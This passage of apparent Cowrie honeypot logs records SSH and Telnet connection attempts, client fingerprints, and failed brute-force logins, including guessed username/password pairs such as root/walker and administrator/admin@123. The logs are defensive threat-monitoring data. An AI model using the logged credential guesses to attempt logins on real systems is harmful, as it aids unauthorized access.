"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:39.392540Z","src_ip":"87.106.29.151","session":"3a3e05c95816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome","message":"login attempt [ubuntu/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:39.791097Z","src_ip":"87.106.29.151","session":"3a3e05c95816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:40.886903Z","src_ip":"87.106.29.151","session":"3a3e05c95816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34576,"dst_ip":"10.17.0.5","dst_port":23,"session":"2988ddff676e","protocol":"telnet","message":"New connection: 45.58.127.90:34576 (10.17.0.5:23) [session: 2988ddff676e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:45.346279Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bda38c4b58","protocol":"telnet","message":"New connection: 45.58.127.90:34572 (10.17.0.5:23) [session: c5bda38c4b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:48.054631Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":38994,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7bd980e941f","protocol":"ssh","message":"New connection: 198.98.55.71:38994 (159.203.135.109:22) [session: e7bd980e941f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:49.865519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:49.871698Z","src_ip":"198.98.55.71","session":"e7bd980e941f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:49.878383Z","src_ip":"198.98.55.71","session":"e7bd980e941f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walker","message":"login attempt [root/walker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:49.934191Z","src_ip":"198.98.55.71","session":"e7bd980e941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:50.944036Z","src_ip":"198.98.55.71","session":"e7bd980e941f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7480811e3e3f","protocol":"telnet","message":"New connection: 45.58.127.90:52632 (10.17.0.5:23) [session: 7480811e3e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:41:58.433328Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.187.165.70","src_port":47983,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eeb2b22d0bd","protocol":"telnet","message":"New connection: 1.187.165.70:47983 (10.17.0.5:23) [session: 6eeb2b22d0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:03.012256Z"}
{"eventid":"cowrie.session.closed","duration":12.797163486480713,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:15.809278Z","src_ip":"1.187.165.70","session":"6eeb2b22d0bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.266977310180664,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:26.321519Z","src_ip":"45.58.127.90","session":"c5bda38c4b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":40666,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed82fa22043","protocol":"ssh","message":"New connection: 62.210.189.225:40666 (10.17.0.5:22) [session: eed82fa22043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.007787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.012812Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.098640Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:e5:d6:a1:b7:ed:bd:0b:fb:4e:6e:f8:ef:56:93:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2Bq46D0TUq/PvW9GSt8AGTS7HpISzUrYrLOMtboqfq1c8iKz5ejzWuwqRCPi9fQOZEkdB22vdkHp4JImNwnZUnGwoCw/0FA49D+BuaTv+/jE7NoNM4vzznp6Xr69hU64k1Y9lb6WFD5kJhFWFN58Nq0I1YhrWf4uCcH0J/jzvF5dxqZMr3ltubnZU4n49362pU2dt5BHay+uaSYCikhRHIc8/QNnrEzjnm/EcqxSrQCvtyLRS6Pqa/G/dIq0npfIo0O+v2nwQA6MwoLmpjvxYMl0Uia3+RihNZ6pX2cNZ6ecjTh10twPncApEfk0L8ja9n/1u5WcpSLQdPoUMNqTdxu+u9fVN9cb8O5+KLAoH01DCAYusosS8ELozEluPPLVkVJmL2f1Hd0HyoxmwzrxCtDbQTvAt3Su0SwlY3xxcKgn3rzdyF8hoR4lZc+cLimmz5OXSQLPyrtjNwKkgsnAJlW6jnvsmPPPVdCmoTeyhIMdYPpHzaH/Bm2wnIECOOms=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:e5:d6:a1:b7:ed:bd:0b:fb:4e:6e:f8:ef:56:93:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.481551Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:e5:d6:a1:b7:ed:bd:0b:fb:4e:6e:f8:ef:56:93:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2Bq46D0TUq/PvW9GSt8AGTS7HpISzUrYrLOMtboqfq1c8iKz5ejzWuwqRCPi9fQOZEkdB22vdkHp4JImNwnZUnGwoCw/0FA49D+BuaTv+/jE7NoNM4vzznp6Xr69hU64k1Y9lb6WFD5kJhFWFN58Nq0I1YhrWf4uCcH0J/jzvF5dxqZMr3ltubnZU4n49362pU2dt5BHay+uaSYCikhRHIc8/QNnrEzjnm/EcqxSrQCvtyLRS6Pqa/G/dIq0npfIo0O+v2nwQA6MwoLmpjvxYMl0Uia3+RihNZ6pX2cNZ6ecjTh10twPncApEfk0L8ja9n/1u5WcpSLQdPoUMNqTdxu+u9fVN9cb8O5+KLAoH01DCAYusosS8ELozEluPPLVkVJmL2f1Hd0HyoxmwzrxCtDbQTvAt3Su0SwlY3xxcKgn3rzdyF8hoR4lZc+cLimmz5OXSQLPyrtjNwKkgsnAJlW6jnvsmPPPVdCmoTeyhIMdYPpHzaH/Bm2wnIECOOms=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.486010Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:c7:89:d7:09:ad:13:4d:2b:f4:12:fd:6e:a5:d1:69","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPf3HVyuKJo0DblMBR6zt3R0OTWGGvn84/5oVzezeKzW","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:c7:89:d7:09:ad:13:4d:2b:f4:12:fd:6e:a5:d1:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.569361Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:c7:89:d7:09:ad:13:4d:2b:f4:12:fd:6e:a5:d1:69","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPf3HVyuKJo0DblMBR6zt3R0OTWGGvn84/5oVzezeKzW","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.573978Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:14:c3:1b:64:62:e6:d7:a2:bf:d1:a8:69:07:9f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6AuBttJpb3YKZJ9yI00P3GC27UHCpliIOD1LG5FWw/xgxLH1s6ZXrADWnzu0vXJtOINNX0N/sSsSqZxdePmElNTspucY8CCgUcIfLtDCONsH3GKMhL5EPIy+52x0CIMgML6vi2RpHX+U/i09XpXzf23Py5sb0CLQZ+0SVOVz7sjWdjgvtLIgE9aI5oFBonPvUn0146K84+k5nqt8bKO+NMoLKjB9pTzOhD+44UdAmyi3lhSVzNwYZdqx0M1qs2OLfy/ShUJvi2Lbp7PCt2JFHui5OiMVKM7OZFO+mcTlf+mrdrAbehT8YlLM17oQyHvRmKi+dvmv8b8hhhbD8+Eu/2k58jWlXc/PiE0tU8g65CYesUxZjgjGTKwPFG0+Vap/tv9fjk24i+mn9sWVZROO/Wyww4uY0HBN7YRwhTNfPO2eipZukqKTrrVmHiID8ZUB0FZtSLdTkIZO7WwWBTfBja920cg7hpDU+ljpuqV9j0GeyVIfpw8/l9B0WALQGp1E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:14:c3:1b:64:62:e6:d7:a2:bf:d1:a8:69:07:9f:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.657617Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:14:c3:1b:64:62:e6:d7:a2:bf:d1:a8:69:07:9f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6AuBttJpb3YKZJ9yI00P3GC27UHCpliIOD1LG5FWw/xgxLH1s6ZXrADWnzu0vXJtOINNX0N/sSsSqZxdePmElNTspucY8CCgUcIfLtDCONsH3GKMhL5EPIy+52x0CIMgML6vi2RpHX+U/i09XpXzf23Py5sb0CLQZ+0SVOVz7sjWdjgvtLIgE9aI5oFBonPvUn0146K84+k5nqt8bKO+NMoLKjB9pTzOhD+44UdAmyi3lhSVzNwYZdqx0M1qs2OLfy/ShUJvi2Lbp7PCt2JFHui5OiMVKM7OZFO+mcTlf+mrdrAbehT8YlLM17oQyHvRmKi+dvmv8b8hhhbD8+Eu/2k58jWlXc/PiE0tU8g65CYesUxZjgjGTKwPFG0+Vap/tv9fjk24i+mn9sWVZROO/Wyww4uY0HBN7YRwhTNfPO2eipZukqKTrrVmHiID8ZUB0FZtSLdTkIZO7WwWBTfBja920cg7hpDU+ljpuqV9j0GeyVIfpw8/l9B0WALQGp1E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.661723Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:3b:ff:29:c7:d6:2d:f7:2e:cd:41:6a:cf:1d:22:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEeZOFVandbhWr7Nk+CTf+KGSIwRVoTZ2eY5oDshnDXo6qOq5uUVmCTC9ol4ovROLSiCSNt+ce9WBcWDk/JAgoHS4cK0q8thj/Brdh02xxWheABHigPE54UXewK4nFAz1CjvuIJo75B3RJKhFjHcARABQQJg2thiQ3Zod4/zutr9Ggv8dA1HYKz5s5i7VHYDkGooFdI+rZ60HpNgmuIERFYrVJ1nFHDp1n3miOrvdXh1JOKGEuH+996ZljY0Pm+wmzKldIjaBxTnqtyJsNjj6cIH0ZjsLqIwU7W0AgLpjBuPrb/LKfkL9mWliQyWEkHH0tMlbUPT/57Gu2q/r3h9ogkjClgUrqy7y2JEulyEhGXrBLB6LSgLZrWNG6UvpaxQ36Jja1VjuKYHXMC1ue4VuPJ7ZoqjiD7viEIdhMKc1QGZs3urmaZEkDT9GGB09rjn1UGbzhuBc3s+V/MgDG0BXk/jVMg8sDZ7CudlM9TvrawbDhklu2uEqRx3nlEB3DeOeKo0Psj6fHl3aTfz8v97xneLJzFBMrWChsN6UIxSU9JbNvAZttwYsu8e8keynUpxOgQk6LTEzFYuHVm+CSlo1cUBY4U4g1SCFfOTJc4JSHnb045OLvkE+gau/DQNr58Az46TmNuwxF6mIyAy/KJ2DdrXiZ/1Dd+3CXVux4N1aE4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:3b:ff:29:c7:d6:2d:f7:2e:cd:41:6a:cf:1d:22:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.744246Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:3b:ff:29:c7:d6:2d:f7:2e:cd:41:6a:cf:1d:22:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEeZOFVandbhWr7Nk+CTf+KGSIwRVoTZ2eY5oDshnDXo6qOq5uUVmCTC9ol4ovROLSiCSNt+ce9WBcWDk/JAgoHS4cK0q8thj/Brdh02xxWheABHigPE54UXewK4nFAz1CjvuIJo75B3RJKhFjHcARABQQJg2thiQ3Zod4/zutr9Ggv8dA1HYKz5s5i7VHYDkGooFdI+rZ60HpNgmuIERFYrVJ1nFHDp1n3miOrvdXh1JOKGEuH+996ZljY0Pm+wmzKldIjaBxTnqtyJsNjj6cIH0ZjsLqIwU7W0AgLpjBuPrb/LKfkL9mWliQyWEkHH0tMlbUPT/57Gu2q/r3h9ogkjClgUrqy7y2JEulyEhGXrBLB6LSgLZrWNG6UvpaxQ36Jja1VjuKYHXMC1ue4VuPJ7ZoqjiD7viEIdhMKc1QGZs3urmaZEkDT9GGB09rjn1UGbzhuBc3s+V/MgDG0BXk/jVMg8sDZ7CudlM9TvrawbDhklu2uEqRx3nlEB3DeOeKo0Psj6fHl3aTfz8v97xneLJzFBMrWChsN6UIxSU9JbNvAZttwYsu8e8keynUpxOgQk6LTEzFYuHVm+CSlo1cUBY4U4g1SCFfOTJc4JSHnb045OLvkE+gau/DQNr58Az46TmNuwxF6mIyAy/KJ2DdrXiZ/1Dd+3CXVux4N1aE4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.752285Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:03:d3:10:58:e1:8d:70:9f:cd:00:96:0f:a6:0f:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFulIQzgthuIlhcHrLJK8koEbCYMdI4tqwkuGMvtz9Kq9/YXkqHbNFj1x8dCP3RpatA52xLsy8A3n39FMzCB4hIlFTnSaiTzLNb/ms17v6RjWMT2jAbZ/0Ta7VDKsUOSJSpRH3GW+hbuTMXXSBjuljHHOcNtbaQOC5j+D0Qq71H6T7W0ugSKkCaBdHkwzB3XgoD0Rw6hEGHacPWM7fIGdIralMlTtsUPmnYKMp+VoieXGzggpoPgTDYndwp4yPLPgXzHaDEk3vSRcdpRaf6H+/8LGYCRasFeQQ4EDt1MLC+/g3gf5jYd5bv0Gd1Y0Ps8nQEzc8teKw0AYnHN8QC0wG95xroBNhKXFsxCyuvp8RifQ1O169PeTrp1IwkeGcJ0HTmtTM6RTVUzXMx3bBlTGc4mXPASpKXyFzkaJCI8xfyD8zCnVDAB15LQ63WzNlP71Yzp02yd1zThWEG8UgGA/6VZiEUeqpk4LoE2c1PadVMNkuKvZgAkSGuT3uqze6TI8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:03:d3:10:58:e1:8d:70:9f:cd:00:96:0f:a6:0f:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.836591Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:03:d3:10:58:e1:8d:70:9f:cd:00:96:0f:a6:0f:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFulIQzgthuIlhcHrLJK8koEbCYMdI4tqwkuGMvtz9Kq9/YXkqHbNFj1x8dCP3RpatA52xLsy8A3n39FMzCB4hIlFTnSaiTzLNb/ms17v6RjWMT2jAbZ/0Ta7VDKsUOSJSpRH3GW+hbuTMXXSBjuljHHOcNtbaQOC5j+D0Qq71H6T7W0ugSKkCaBdHkwzB3XgoD0Rw6hEGHacPWM7fIGdIralMlTtsUPmnYKMp+VoieXGzggpoPgTDYndwp4yPLPgXzHaDEk3vSRcdpRaf6H+/8LGYCRasFeQQ4EDt1MLC+/g3gf5jYd5bv0Gd1Y0Ps8nQEzc8teKw0AYnHN8QC0wG95xroBNhKXFsxCyuvp8RifQ1O169PeTrp1IwkeGcJ0HTmtTM6RTVUzXMx3bBlTGc4mXPASpKXyFzkaJCI8xfyD8zCnVDAB15LQ63WzNlP71Yzp02yd1zThWEG8UgGA/6VZiEUeqpk4LoE2c1PadVMNkuKvZgAkSGuT3uqze6TI8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.843037Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:27.926523Z","src_ip":"62.210.189.225","session":"eed82fa22043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":52016,"dst_ip":"159.203.135.109","dst_port":22,"session":"2014b6f7f65d","protocol":"ssh","message":"New connection: 87.106.29.151:52016 (159.203.135.109:22) [session: 2014b6f7f65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:31.225579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:31.230547Z","src_ip":"87.106.29.151","session":"2014b6f7f65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.954599380493164,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:31.300763Z","src_ip":"45.58.127.90","session":"2988ddff676e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:31.322608Z","src_ip":"87.106.29.151","session":"2014b6f7f65d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin@123","message":"login attempt [administrator/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:31.722306Z","src_ip":"87.106.29.151","session":"2014b6f7f65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:32.821248Z","src_ip":"87.106.29.151","session":"2014b6f7f65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:34.966645Z","src_ip":"47.239.15.75","session":"00106c090500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":34536,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0f44c439d7","protocol":"ssh","message":"New connection: 198.98.55.71:34536 (159.203.135.109:22) [session: 0b0f44c439d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:37.780434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:37.790158Z","src_ip":"198.98.55.71","session":"0b0f44c439d7","protocol":"ssh"}
